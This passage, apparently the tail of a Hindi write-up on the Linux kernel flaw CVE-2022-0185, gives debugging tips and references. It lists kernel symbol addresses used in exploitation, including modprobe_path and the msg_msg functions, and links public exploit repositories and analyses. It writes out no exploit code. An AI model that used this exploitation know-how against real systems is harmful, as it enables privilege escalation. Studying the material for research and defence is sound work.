बाद के संचालन सीधे "[विजय समीकरण](https://blog.csdn.net/Breeze_CAT/article/details/124887764)" के उत्तरार्ध का संदर्भ लें। exp: https://github.com/veritas501/CVE-2022-0185-PipeVersion

![image-20220524180848317](https://assets.kitploit.com/production/public/readmes/23851/be1db757bd7c73f8f8d56e8ec7c0399e92c69b5a27fe7b945ae634a54ee7c707.png)

## डिबगिंग टिप्स

संबंधित प्रतीक:```
ffffffff81356040 t legacy_parse_param
ffffffff814927f0 t do_msgsnd
ffffffff81493550 t do_msgrcv

ffffffff813400b0 t single_start
ffffffff82c6c2e0 D modprobe_path

## संदर्भ

github：[Crusaders-of-Rust/CVE-2022-0185](https://github.com/Crusaders-of-Rust/CVE-2022-0185)

विवरण：https://www.willsroot.io/2022/01/cve-2022-0185.html

veritas501: [CVE-2022-0185 विश्लेषण और शोषण तथा पाइप नए प्रिमिटिव पर विचार और अभ्यास](https://veritas501.github.io/2022_03_16-CVE_2022_0185%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E4%B8%8Epipe%E6%96%B0%E5%8E%9F%E8%AF%AD%E6%80%9D%E8%80%83%E4%B8%8E%E5%AE%9E%E8%B7%B5/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8)